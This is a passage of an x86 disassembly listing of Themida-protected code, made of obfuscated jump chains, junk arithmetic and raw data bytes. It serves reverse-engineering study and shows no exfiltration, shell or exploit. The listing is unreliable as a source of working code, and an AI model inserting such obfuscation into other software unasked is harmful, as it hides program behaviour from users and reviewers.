0E9F82926h, 0FFFF8412h ; --------------------------------------------------------------------------- loc_50D138: ; CODE XREF: Themida_:0050925Aj mov ecx, eax jmp loc_50E398 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF5A2Ah, 30A8F280h, 71685AD0h, 89000069h, 0B450241Ch dd 30C2B39Fh, 0B29DE9E3h, 1C87FFFFh, 24248B24h, 24043166h dd 5A00E99Ch, 2CBDFFFFh, 29090634h, 42055DE8h, 2964F36Ah dd 6A422DF8h, 2C0564F3h, 5F090634h, 4EC835Dh, 0E9240C89h dd 0FFFFBE48h ; --------------------------------------------------------------------------- loc_50D194: ; CODE XREF: Themida_:0050E95Bj shl esi, 4 xor esi, 0DDE979EBh sub ecx, esi pop esi mov edx, ecx pop ecx push edx pop eax pop edx and ebx, eax push dword ptr [esp] jmp loc_5040C9 ; --------------------------------------------------------------------------- loc_50D1B0: ; CODE XREF: Themida_:0050D245j mov esi, 5DA82232h push esi sub dword ptr [esp], 7BB13260h pop edi jmp loc_502DED ; --------------------------------------------------------------------------- db 68h dd 75D40EA8h, 94FBE95Ah, 0C480FFFFh, 53CC803Eh, 1A2E9h dd 4BF36800h, 34890000h, 0D51AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D1E6: ; CODE XREF: Themida_:00505227j or edx, eax jmp loc_5086AA ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 5C4E9h, 0EC98100h, 5512BD41h, 693731BDh, 0F0C1E915h dd 2CACFFFFh, 2C320413h, 52D800EBh, 107DE9h db 0 ; --------------------------------------------------------------------------- loc_50D215: ; CODE XREF: Themida_:0050F187j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] jmp loc_50741E ; --------------------------------------------------------------------------- db 81h dd 4ECh, 242C8900h, 2BDh, 5DEF0100h, 0E904EC83h, 0FFFFE416h ; --------------------------------------------------------------------------- loc_50D244: ; CODE XREF: Themida_:00509B4Dj push esi jmp loc_50D1B0 ; --------------------------------------------------------------------------- dw 0BA5Ch dd 0AD1399C4h, 5CC1EA81h, 0C2297835h, 5CC1C281h, 48B7835h dd 4C48124h, 0F7000000h, 7FBD55DAh, 81DF044Fh, 0F36029C2h dd 81EA0131h, 0F36029EAh, 242C8B31h, 647E9h, 8BDF0100h dd 0C481241Ch, 4, 2474FF57h, 243C8B04h, 260968h, 24348900h dd 0C681E689h, 4, 0FF71BBE9h db 0FFh ; --------------------------------------------------------------------------- loc_50D2AD: ; CODE XREF: Themida_:0050AA01j push ebx mov bl, 8Dh and ch, bl pop ebx add ch, 37h push edx mov dh, 72h shl dh, 7 push eax mov al, 9Dh jmp loc_50353A ; --------------------------------------------------------------------------- dd 240C8B66h, 1B18E9h, 0CD015900h, 0A3B3E959h, 34FFFFFFh dd 0C4815924h, 4, 7530ECBAh, 0CEBD550Ch, 503C2711h, 0FFE146E9h dd 80C6FEFFh, 0EEC0FFEEh, 0DF87E907h, 0CF81FFFFh, 71FC3A06h dd 2535C781h, 0F8313168h, 0B3A5E95Fh, 248BFFFFh, 68E9F724h dd 1640h, 54241C89h, 6889E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D326: ; CODE XREF: Themida_:0050A476j sub ecx, ebx push dword ptr [esp] pop ebx jmp loc_507C77 ; --------------------------------------------------------------------------- db 0B8h, 2 dup(0) dd 68560000h, 5711h, 0FFEC13E9h db 0FFh ; --------------------------------------------------------------------------- loc_50D341: ; CODE XREF: Themida_:0050DF97j mov ebx, edx pop edx pop edi neg ebx shl ebx, 3 sub ebx, 0AE08A0F0h and eax, ebx push dword ptr [esp] mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_50596A ; --------------------------------------------------------------------------- loc_50D36C: ; CODE XREF: Themida_:0050E316j mov edi, [esp] add esp, 4 xchg edx, edi neg edx jmp loc_509C53 ; --------------------------------------------------------------------------- db 80h dd 0DCF679C4h, 88B9EC80h, 0D53058E2h, 0EDC05A66h, 0BFB35303h dd 800CCB80h, 0DD305CEBh, 59E8305Bh, 0C09DB151h, 66E907E9h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D3A7: ; CODE XREF: Themida_:0050ABC0j sub ecx, 0EE385F7Bh sub edx, ecx pop ecx xor edx, 0E7495115h add ecx, edx pop edx jmp loc_50914D ; --------------------------------------------------------------------------- dw 0ED81h dd 560A0834h, 0FF637AE9h, 240C87FFh, 0F144055Ch, 0C3299A8Ah dd 241C3358h, 0E9241C31h, 1261h, 0C15DEF89h, 0C78302E7h dd 0BBB53FFh, 0F7247243h, 81D3F7D3h, 0FB07D1EBh, 0E9DF09AFh dd 0FFFFAA91h ; --------------------------------------------------------------------------- loc_50D400: ; CODE XREF: Themida_:00506564j add edx, 3D041345h jmp loc_50AB6C ; --------------------------------------------------------------------------- loc_50D40B: ; CODE XREF: Themida_:00508C85j pop esi sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], esi mov esi, esp add esi, 4 push 33CDh jmp loc_503FB9 ; --------------------------------------------------------------------------- dw 6857h dd 4, 0FF6E58E9h, 282C2CFFh, 522C04E8h, 0F0287DB6h, 91E9595Ah dd 1FFFF57h, 75B850D6h, 0E940305Fh, 0FFFF7A5Ah ; --------------------------------------------------------------------------- loc_50D454: ; CODE XREF: Themida_:0050B9D5j xchg ebx, [esp] jmp loc_507DAB ; --------------------------------------------------------------------------- dd 29A668h, 24048900h, 0FFAEF4E9h db 0FFh ; --------------------------------------------------------------------------- loc_50D469: ; CODE XREF: Themida_:0050D489j mov eax, 134B6500h mov esi, eax pop eax jmp loc_505127 ; --------------------------------------------------------------------------- dw 0D3F7h dd 0DDB6B951h, 24E90660h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D483: ; CODE XREF: Themida_:00505B43j add esp, 4 pop edi push esi push eax jmp loc_50D469 ; --------------------------------------------------------------------------- dw 0C5FEh aXSsb db 'Àå',7,'Séb',0Ah,0 db 0 ; --------------------------------------------------------------------------- loc_50D499: ; CODE XREF: Themida_:00504B14j push ebx mov ebx, 6CBF4B53h xor [esp+4], ebx pop ebx pop dword ptr [edi+20h] jmp loc_5086DF ; --------------------------------------------------------------------------- dd 4CE95359h, 66FFFF7Fh, 52240C8Bh, 0C281E289h, 4, 0FFC0E1E9h dd 8BF201FFh, 0EC832434h, 24048904h, 405E089h, 5000000h dd 4, 5C240487h, 3304EA83h, 9AE92414h, 53FFFFDCh, 0FFD307E9h dd 241C8BFFh, 4C481h, 0D8280000h, 334E9h, 0C0B60F00h, 0E98734FFh dd 0FFFF71F5h ; --------------------------------------------------------------------------- loc_50D50C: ; CODE XREF: Themida_:0050BFB8j push ebx push 3EFE68DBh pop ebx jmp loc_507B04 ; --------------------------------------------------------------------------- dd 42467C1h, 3E247781h, 0C17A8231h, 0C1072467h, 81062467h dd 4ECh, 24048900h, 26196852h, 94E920A2h db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D53F: ; CODE XREF: Themida_:0050C8DFj mov [edi+eax*4+1], bh mov ebx, [esp] add esp, 4 jmp loc_502B6E ; --------------------------------------------------------------------------- loc_50D551: ; CODE XREF: Themida_:00509A74j add ecx, edx mov edx, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_50DB5C ; --------------------------------------------------------------------------- dd 5658C101h, 2BEh, 5EF10100h, 31240C33h, 0C33240Ch, 24248B24h dd 0C8AF0F66h, 0FF983CE9h, 5AA1BBFFh, 65E9419Ch db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D58F: ; CODE XREF: Themida_:00509656j or eax, 4F3F1F5Ch add eax, 0F4464044h add esi, eax pop eax jmp loc_50F3CC ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aH8 db '$h',8,'8',0 align 2 dw 40E9h dd 5AFFFF9Dh, 0B8E9FB29h, 89FFFFC8h, 14F72414h, 0F2815A24h dd 35B4E386h, 76E9D001h, 52FFFF91h, 0C281E289h, 4, 8904EC83h dd 0ECBB241Ch, 0C1198376h, 0DBF702EBh, 0FFFE8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_50D5E9: ; CODE XREF: Themida_:0050998Dj ; Themida_:0050A052j ... push dword ptr [esp] pop ebx push ecx mov ecx, esp push 35FDh mov [esp], edx jmp loc_505C1D ; --------------------------------------------------------------------------- db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], ecx push 2329h mov [esp], ebp push 7C3B41FEh jmp loc_50B7E6 ; --------------------------------------------------------------------------- db 57h, 0BFh, 68h dd 0B813F96Fh, 169D4A07h, 0E95FF831h, 0FFFFA8A0h, 4C4815Ah dd 0E9000000h, 0FFFFEB92h ; --------------------------------------------------------------------------- loc_50D640: ; CODE XREF: Themida_:0050A250j pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edi mov edi, 1 and eax, edi mov edi, [esp] jmp loc_50E55B ; --------------------------------------------------------------------------- loc_50D664: ; CODE XREF: Themida_:00506AE8j add ebx, 4 push esi push ecx push 0C8Ah mov [esp], edi mov edi, 7CA51F67h jmp loc_50D858 ; --------------------------------------------------------------------------- dw 5755h dd 0FFE1A9E9h, 6C54BDFFh, 0DDF75DFFh, 0FF9C0CE9h db 0FFh ; --------------------------------------------------------------------------- loc_50D691: ; CODE XREF: Themida_:005082B5j xchg eax, [esp] jmp loc_508180 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 81h dd 0DB15C1EBh, 0F2B85022h, 0E90DE73Dh, 0FFFF6651h ; --------------------------------------------------------------------------- loc_50D6AC: ; CODE XREF: Themida_:0050940Bj push edi mov edi, 5E2039D4h add [esp+0Ch], edi pop edi jmp loc_5062EA ; --------------------------------------------------------------------------- loc_50D6BC: ; CODE XREF: Themida_:0050B731j add esp, 4 push ecx jmp loc_50C1FC ; --------------------------------------------------------------------------- dd 170468h, 242C8900h, 2BDh, 0E9EF0100h, 0FFFFE395h ; --------------------------------------------------------------------------- loc_50D6DC: ; CODE XREF: Themida_:00507AAAj pop edi sub ebx, eax jmp loc_505009 ; --------------------------------------------------------------------------- dd 9F7EE95Dh, 0F752FFFFh, 148B2414h, 9C44E924h, 0E3C1FFFFh dd 20C38108h, 0E9756515h, 0FFFFAC87h, 31ECBA52h, 0E1E93622h dd 20000007h, 83525AF0h, 8F5404ECh, 4832404h, 81E90424h dd 2DFFFFF5h, 92CAF941h, 0FF8E64E9h, 24148BFFh, 0E9E18951h dd 0FFFFA864h ; --------------------------------------------------------------------------- loc_50D738: ; CODE XREF: Themida_:005057EDj sub esi, 9DA6D542h and edi, esi pop esi sub edi, 0F252C916h mov edx, edi pop edi push 1CC9h mov [esp], eax mov eax, 76D37E7Bh sub eax, 35974DCFh push eax mov eax, 24D271B0h sub eax, 49F3591Fh push esi jmp loc_507D79 ; --------------------------------------------------------------------------- loc_50D76D: ; CODE XREF: Themida_:00503E2Bj pop ebp jmp loc_508144 ; --------------------------------------------------------------------------- loc_50D773: ; CODE XREF: Themida_:0050E4AAj push 3B175A34h pop edx xor edx, 10D447E7h push eax mov eax, 1F922C9Dh shl eax, 2 dec eax add eax, 8B9A8379h or edx, eax jmp loc_505D01 ; --------------------------------------------------------------------------- db 81h, 0C5h, 7Bh dd 2967EAF2h, 0D1F75DE9h, 0FFF7E3E9h, 53C4E9FFh, 0E801FFFFh dd 726FBE56h, 0F02973B4h, 0FF99E5E9h, 53B0E9FFh, 0C8BFFFFh dd 4C48124h, 68000000h, 751Fh, 51242C89h, 832089B9h, 0F55DE94Bh dd 0E95CFFFFh, 0FFFF96B3h ; --------------------------------------------------------------------------- loc_50D7E0: ; CODE XREF: Themida_:0050989Dj push eax mov eax, 0DF84D3EFh add edx, eax jmp loc_507987 ; --------------------------------------------------------------------------- loc_50D7ED: ; CODE XREF: Themida_:00502F41j mov [esp], eax jmp loc_50ACCE ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 5504C483h, 0FFAC6AE9h db 0FFh ; --------------------------------------------------------------------------- loc_50D801: ; CODE XREF: Themida_:0050D0CEj sub edx, 0E05BD8h jmp loc_50CE9C ; --------------------------------------------------------------------------- dd 0FF2434FFh, 34FF2434h, 0C4835824h db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_50AB24 ; --------------------------------------------------------------------------- loc_50D827: ; CODE XREF: Themida_:0050C533j pop ebx jmp loc_50DC6D ; --------------------------------------------------------------------------- db 30h, 4, 24h dd 0FFED88E9h, 0B8B753FFh, 0C780CFFEh, 0E9F800C3h, 0FFFF9141h dd 587CC581h, 0F5811912h, 2A3C056Ah, 0E95DEA89h, 0FFFF9CFBh ; --------------------------------------------------------------------------- loc_50D858: ; CODE XREF: Themida_:0050D679j mov ecx, 7CA51F6Bh sub ecx, edi jmp loc_5061DD ; --------------------------------------------------------------------------- dd 5C240487h, 0BE243489h, 464E43F7h, 7679B951h, 0E1C16A17h dd 0E9814908h, 35DE5417h, 777AC181h, 40E935FCh, 0C1FFFF8Fh dd 68E902E5h, 0B6FFFFA1h, 66F02818h, 66D8285Ah, 18B353h dd 8B5B66D8h, 8953241Ch, 9DB850E3h, 0C17F727Eh, 1C3508E0h dd 0D1D5203h, 3C6177FEh, 0FF6F4FE9h, 4EC81FFh, 0E9000000h dd 0FFFF964Fh, 4C481h, 0D0310000h, 986BE95Ah, 0C181FFFFh dd 4, 5104C183h, 0FF825FE9h, 0C6815AFFh, 2, 0E9243433h dd 0FFFF949Dh, 619ED81h, 0CD810679h, 24C66C71h, 1378E581h dd 0BF571065h, 256A4C16h, 0E781DFF7h, 5FD163D2h, 0E902EFC1h dd 0FFFFC40Eh, 675ABF66h, 66F80166h, 241C8B5Fh, 4C481h dd 89500000h, 5D65E9E0h, 0D9F7FFFFh, 0A685357h, 5B18AA3Bh dd 41FDCB81h, 0C3812889h, 560D2DFEh, 9276C381h, 0DF89A18Fh dd 0FF9D45E9h db 0FFh ; --------------------------------------------------------------------------- loc_50D95D: ; CODE XREF: Themida_:00506C14j pop esi mov eax, [esp] add esp, 4 push ebp mov ebp, 138C1C0Ch jmp loc_505090 ; --------------------------------------------------------------------------- dw 815Bh dd 0CF2970C3h, 76055A0Ah, 2D32C61Ah, 0E6A425Ah, 75AF62Dh dd 0C2D6E900h, 0E830FFFFh, 0FF9D51E9h, 339C2DFFh, 0C4356DB2h dd 81A7E0E5h, 6D6441E9h, 0E9C10137h, 0FFFFE16Ah, 63F368h dd 243C8900h, 33790BFh, 0D4EA8124h, 1320770h, 0D4C281FAh dd 5F320770h, 0FF51A1E9h, 0FDE959FFh, 55FFFFAFh, 0FF9E02E9h db 0FFh ; --------------------------------------------------------------------------- loc_50D9D9: ; CODE XREF: Themida_:005082F5j mov esi, ebx push esi push ebp push ebx push esi mov esi, 5E9A5BBAh mov ebx, esi pop esi jmp loc_50E080 ; --------------------------------------------------------------------------- dd 24048B66h, 0DCA6852h, 24890000h, 4BD5524h, 1000000h dd 5D04246Ch, 4C2815Ah, 0E9000000h, 0FFFFBA0Ch ; --------------------------------------------------------------------------- loc_50DA10: ; CODE XREF: Themida_:0050BA15j add ecx, 3FAF62B0h add [ecx], ebx pop ecx pop eax pop ecx pop ebx loc_50DA1C: ; CODE XREF: Themida_:00506AD8j push 1393h mov [esp], ebx push dword ptr [esp] pop eax push eax mov eax, esp push ebp mov ebp, 4AAE4115h jmp loc_508531 ; --------------------------------------------------------------------------- dw 0B6BBh dd 9176514h, 0C1815BD9h, 0A0182006h, 45D6B951h, 0E9C104CCh dd 0CCC18102h, 53142F12h, 1894E9h, 242C8900h, 53BE9h, 0BA525300h dd 4DA6728Bh, 0FFB07DE9h db 0FFh ; --------------------------------------------------------------------------- loc_50DA6D: ; CODE XREF: Themida_:00508146j not ebx push ebp push ebx pop ebp jmp loc_504A23 ; --------------------------------------------------------------------------- db 88h dd 5AF488EEh, 81240C8Bh, 4C4h, 0ECC48000h, 0E958E788h dd 0FFFFE330h ; --------------------------------------------------------------------------- loc_50DA90: ; CODE XREF: Themida_:0050961Dj pop ecx dec esi shr esi, 1 inc esi jmp loc_502D36 ; --------------------------------------------------------------------------- dw 248Bh dd 0DBF5E924h, 685AFFFFh, 5467h, 89242C89h, 4BE56E5h, 1000000h dd 0A8E95EF5h, 54FFFFD1h, 4BD555Bh, 1000000h, 0E9555DEBh dd 0FFFF66B4h ; --------------------------------------------------------------------------- loc_50DACC: ; CODE XREF: Themida_:00502C64j add ebp, 4 sub ebp, 4 jmp loc_50EF02 ; --------------------------------------------------------------------------- dw 0E981h dd 0A1412965h, 8159CB29h, 7E7341EBh, 7FE95E17h, 89FFFF50h dd 0FB015EF3h, 0FF9660E9h, 0B8504BFFh, 374855BCh, 7535D0F7h dd 35BDB3F9h, 32127E3Dh, 2D58C331h, 55733CC5h, 0C505D801h dd 8B55733Ch, 0C483241Ch, 74FF5004h, 8F580424h, 248B2404h dd 503CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DB32: ; CODE XREF: Themida_:0050C972j push edi jmp loc_50C786 ; --------------------------------------------------------------------------- dd 5C241487h, 8702C183h, 248B240Ch, 240CD224h, 5020E99Ch dd 8B66FFFFh, 54512404h, 0E9240C8Bh, 10AFh ; --------------------------------------------------------------------------- loc_50DB5C: ; CODE XREF: Themida_:0050D55Fj test ecx, eax pushf jmp loc_502B6E ; --------------------------------------------------------------------------- dd 0C1005E34h, 0FEC9FE58h, 7B353C1h, 2CEB80h, 0C8305BD9h dd 0FFA6CAE9h, 126855FFh, 8900007Eh, 0BF572424h, 4, 4247C01h dd 5819E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DB96: ; CODE XREF: Themida_:00504767j pop esi add edi, ecx pop ecx add edi, 4 push edi push dword ptr [esp+4] jmp loc_50980E ; --------------------------------------------------------------------------- db 0B9h dd 20E47A1h, 684DF181h, 0CE890E7Bh, 0FFF71DE9h, 28585BFFh dd 1E95AD0h, 66FFFF85h, 5124048Bh, 0ADE95455h, 5DFFFF90h dd 0D9895E59h, 0D20055Bh, 0C829511Bh, 36A6BB53h, 0CB814371h dd 677A643Eh, 3E3C143h, 0FFFB05E9h, 737568FFh, 4890000h dd 2434FF24h, 0F9C9E958h, 0E300FFFFh, 581BC380h, 0FF508BE9h dd 22D7B9FFh, 0C1815B9Fh, 751B0B48h, 7B0AF181h, 0C181512Dh dd 20155622h, 8B09C181h, 0CA31E203h, 0A294E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DC32: ; CODE XREF: Themida_:00503BFEj pop ebx jmp loc_50A94F ; --------------------------------------------------------------------------- loc_50DC38: ; CODE XREF: Themida_:00504D3Bj mov ebp, 53B57D07h inc ebp sub esp, 4 mov [esp], ecx mov ecx, 53B53D08h xor ebp, ecx push dword ptr [esp] mov ecx, [esp] push eax push esp pop eax add eax, 4 jmp loc_50AD1C ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8324h, 0FF8A8DE9h db 0FFh ; --------------------------------------------------------------------------- loc_50DC6D: ; CODE XREF: Themida_:0050D828j push 5919h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_506ABB ; --------------------------------------------------------------------------- db 89h dd 75FD68E7h, 98E90000h, 83FFFF53h, 2F6804C4h, 8900003Dh dd 0E9522434h, 0FFFF5343h ; --------------------------------------------------------------------------- loc_50DCA8: ; CODE XREF: Themida_:0050E97Bj add ebx, edi push dword ptr [ebx] xor dword ptr [esp], 442A3576h mov ecx, [esp] push ecx jmp loc_5055BB ; --------------------------------------------------------------------------- dd 89241489h, 92B6E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DCC6: ; CODE XREF: Themida_:0050D07Cj sub esp, 4 jmp loc_50408A ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 4C281h, 4BE90000h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DCDF: ; CODE XREF: Themida_:00507CF3j pop ecx jmp loc_507FE9 ; --------------------------------------------------------------------------- aQrq db '[QRQ±Ô²',7,0 dw 59CAh dd 148BD588h, 0B6E95024h, 0FEFFFF98h, 62B151C3h, 459CB30h dd 2CD800CDh, 1C8B66CDh, 0E7895724h, 4C781h, 10E90000h dd 87FFFFF5h, 835C240Ch, 348904ECh, 4E95324h, 89FFFFB8h dd 0EC81241Ch, 4, 0FFCEE8E9h, 43C281FFh, 0C1F33117h, 3EE906EAh dd 5C00000Ch, 0E9241C89h, 0FFFF9321h, 81DE015Bh, 5C68D4C6h dd 0C913E912h, 0E951FFFFh, 0FFFFB205h, 240C8B66h, 4EC81h dd 2C890000h, 0E9E58924h, 0FFFFFFE6h ; --------------------------------------------------------------------------- loc_50DD78: ; CODE XREF: Themida_:0050E6B3j mov edx, 2 push ebx mov ebx, 775F227Dh sub ebx, 0FC76F1FEh sub ebp, ebx pop ebx jmp loc_50DFD4 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 5Bh db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DD97: ; CODE XREF: Themida_:00505ABEj add ebx, esi jmp loc_50BAC9 ; --------------------------------------------------------------------------- dw 0FF54h dd 83582434h, 555704C4h, 133BDCBDh, 6BB85067h, 0E9501250h dd 0FFFF7EB0h, 24048B66h, 5B1468h, 24348900h, 5404EC83h dd 8324048Fh, 0E9042404h, 0FFFFF0AEh, 54E95B66h, 81FFFF53h dd 4C2h, 4C28100h, 87000000h, 685C2414h, 5ACAh, 68243C89h dd 0DCh, 81242489h, 42404h, 80E90000h, 0F7FFFFC2h, 1AE181D1h dd 8150E10Bh, 56609FC1h, 59CD8953h, 377CC181h, 0E929279Eh dd 0ADFEE957h, 8952FFFFh, 4C281E2h, 56000000h, 6FA0BA52h dd 96E902ACh db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DE3B: ; CODE XREF: Themida_:0050EEF2j xchg edx, [esp] pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_504B80 ; --------------------------------------------------------------------------- loc_50DE57: ; CODE XREF: Themida_:00503542j add al, 0E8h jmp loc_5096DB ; --------------------------------------------------------------------------- loc_50DE5E: ; CODE XREF: Themida_:005041A8j or edx, 15730B94h inc edx jmp loc_508CAA ; --------------------------------------------------------------------------- dw 0B551h dd 3BED80AFh, 0F679F580h, 29C580D5h, 0FF6059E9h, 241C33FFh dd 0FF8757E9h, 0E9B7B5FFh, 0FFFFC22Ch, 0BA241489h, 44944877h dd 4203E2C1h, 7A3CCA81h, 0CA814D1Eh, 4F0F4841h, 0FFBC0EE9h dd 4C183FFh, 5C240C87h, 0E902C083h, 0FFFF5B41h, 4245C29h dd 0FFB217E9h, 0FFE831FFh, 2E92434h, 53FFFF6Ah, 3B114CBBh dd 9FE3815Eh, 81064544h, 0FEFFF5C3h, 8BD929F9h, 0C483241Ch dd 0D9E98104h, 0E9DFEDFFh, 0FFFFC695h, 4245431h, 0F0E95B5Ah dd 0B3FFFFD9h, 51C3FE51h, 0CB0080B1h, 0E9DD2859h, 0FFFF6028h dd 5093B652h, 0D886F088h, 0D886D3F6h, 0E958C688h, 0FFFF8CF9h dd 0C181F901h, 5A7627F7h, 582BC181h, 0C1813DA2h, 39134B3h dd 2BE90103h, 8BFFFFA6h, 0E0E9242Ch db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50DF43: ; CODE XREF: Themida_:0050AB1Fj sub ecx, ebp pop ebp add ebp, ecx pop ecx add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] add esp, 4 sub dword ptr [esp], 51B3BEBh push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_50C59D ; --------------------------------------------------------------------------- dw 0DEBFh dd 0C17CCA3Dh, 0F78105EFh, 3E651EAh, 0F0E9F801h, 58FFFFB3h dd 0FF665FE9h db 0FFh ; --------------------------------------------------------------------------- loc_50DF95: ; CODE XREF: Themida_:0050830Dj mov edx, edi jmp loc_50D341 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4C581h, 5EE90000h, 89000002h, 4812424h dd 424h, 58685F00h, 89000012h, 0E952240Ch, 0FFFF8D35h dd 67D96857h, 0E95F3940h, 0FFFF937Eh ; --------------------------------------------------------------------------- loc_50DFD4: ; CODE XREF: Themida_:0050DD8Cj add ebp, edx add ebp, 7AE8307Fh mov edx, [esp] push edx jmp loc_50B3C2 ; --------------------------------------------------------------------------- align 2 dw 80CBh dd 0B4E91DC3h, 52FFFF97h, 262106BAh, 81D2F722h, 4ECh, 24348900h dd 4071B7BEh, 5EF22953h, 703DBE56h, 12E90B24h, 1FFFFA3h dd 0C3815AD1h, 63196721h, 0DDE9CB01h, 0FEFFFFA0h, 80DAF6CAh dd 0D508D6EAh, 0FFA7FBE9h, 0B7F380FFh, 0FF8C2FE9h db 0FFh ; --------------------------------------------------------------------------- loc_50E039: ; CODE XREF: Themida_:0050C017j push dword ptr [esp] pop ecx jmp loc_50979F ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFEED3h, 8904EC83h, 0B652241Ch, 9962E907h, 0D1F7FFFFh dd 2474FF51h, 7BFE904h, 0D8F70000h, 158E9h, 58E28800h dd 0FEC2FE5Bh, 0F6D2F6CAh, 1AB551DAh, 0E982B353h, 0FFFF4EABh ; --------------------------------------------------------------------------- loc_50E080: ; CODE XREF: Themida_:0050D9E7j xor ebx, 0DB76903h xchg edi, ebx not edi xchg edi, ebx inc ebx xor ebx, 68C20F56h jmp loc_50967A ; --------------------------------------------------------------------------- dd 2C481h, 222C0000h, 0FF9B0DE9h, 50CE01FFh, 0FE39BDB8h dd 58C6296Ch, 4C68159h, 0E9000000h, 0FFFF64D3h, 586CE81h dd 0B8500FADh, 1, 0FFD781E9h, 24048AFFh, 2404C483h, 802F2C7Ch dd 526611C3h, 0F30068B6h, 0C3805A66h, 81C32875h, 4ECh dd 24048900h, 0AE975B4h, 5DFFFFCCh, 34FFD831h, 0BE1EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E102: ; CODE XREF: Themida_:00502F99j and eax, edx pop edx jmp loc_50E4A4 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFF73D8h ; --------------------------------------------------------------------------- loc_50E110: ; CODE XREF: Themida_:00508297j mov [esp], esp jmp loc_50EEE1 ; --------------------------------------------------------------------------- dd 2CF7B652h, 0E729E90Eh, 0EB81FFFFh, 0FFFFFFFFh, 0FFB786E9h dd 148966FFh, 9C506624h, 847E9h, 0F06800h, 69E96597h, 81FFFFF3h dd 4C3h, 6E46E900h, 0C381FFFFh, 48BD4592h, 5AB3CB81h, 0EB8136DEh dd 7FFEDBEFh, 1C8BDF89h, 4C48124h, 1000000h, 0E9525FFEh dd 0FFFFA2E7h, 805BDC28h, 83E91BEBh, 31FFFFFAh, 815B243Ch dd 0CD6DECE3h, 0BCC38176h, 81CFFEF3h, 9C6B11EDh, 81DD0118h dd 9C6B11C5h, 0BD32E918h, 3487FFFFh, 24248B24h, 5AE95551h dd 83FFFFE2h, 148704C2h, 0F090E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E1BA: ; CODE XREF: Themida_:0050A14Bj sub esi, ebp jmp loc_50BC88 ; --------------------------------------------------------------------------- db 5, 0C1h, 0C0h dd 0C389817Bh, 8324048Bh, 0C38104C4h, 177E7341h, 0FF7640E9h dd 0A5E95DFFh, 9FFFFA9h, 0E9C15BD9h, 0C5C18106h, 8130B25Eh dd 0A41B7CC1h, 61C1811Fh, 81753003h, 825B8EF1h, 0E6E2E9C6h dd 0FC88FFFFh, 0E788595Bh, 0FFCDC5E9h, 74FF55FFh, 0E95D0424h dd 0FFFFD802h, 0E9B8B252h, 0FFFFCD72h, 0E95AF788h, 0FFFFD11Fh dd 0C833FBBEh, 81DEF77Eh, 6FCA47F6h, 0D4E952D0h, 4FFFF50h dd 2434FF0Eh, 0FFF3EFE9h, 8B665CFFh, 89532404h, 21AE68E3h dd 0C890000h, 53EBB924h, 0BE5642CDh, 0D157B71h, 0BAE9F101h dd 4FFFFFAEh, 577DE781h, 0D7F75654h, 0FFB86DE9h, 42E2CFFh dd 0AB5EE953h, 558FFFFh, 4, 4BA52h, 0D0010000h, 65DE95Ah dd 0EBB60000h, 2C5AF000h, 0ECA0E932h, 0E389FFFFh, 0FFED87E9h dd 28F64FFh, 0FF48C1E9h, 240489FFh, 21240481h, 0FF114776h dd 81582434h, 4C4h, 68525700h, 45CD4BB2h, 47C2815Ah, 4A5CC854h dd 239ECA81h, 8BE9595Ah, 89FFFF75h, 3DB9240Ch, 8108B122h dd 1647B8C1h, 0F1E98106h, 0E90EC769h, 0FFFF5F19h, 4B951h dd 4C010000h, 8CE90424h, 5400000Dh, 0BEB9515Fh, 555A7D41h dd 0FF648DE9h db 0FFh ; --------------------------------------------------------------------------- loc_50E311: ; CODE XREF: Themida_:0050412Bj push 28AC37A2h jmp loc_50D36C ; --------------------------------------------------------------------------- db 1 dd 0C749E9DFh, 0E959FFFFh, 0FFFFB57Ah, 0B3E9D0F7h, 51000004h dd 0FF7F0EE9h, 0F8EA80FFh, 285AD700h, 0B0505BF8h, 69B151EEh dd 0D2B45066h, 0BFE9E128h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50E34F: ; CODE XREF: Themida_:00504E58j mov ebx, [esp] add esp, 4 pop ecx jmp loc_502B6E ; --------------------------------------------------------------------------- db 5 dd 0FFFFFFFFh, 6B58C20Dh, 8745E93Fh, 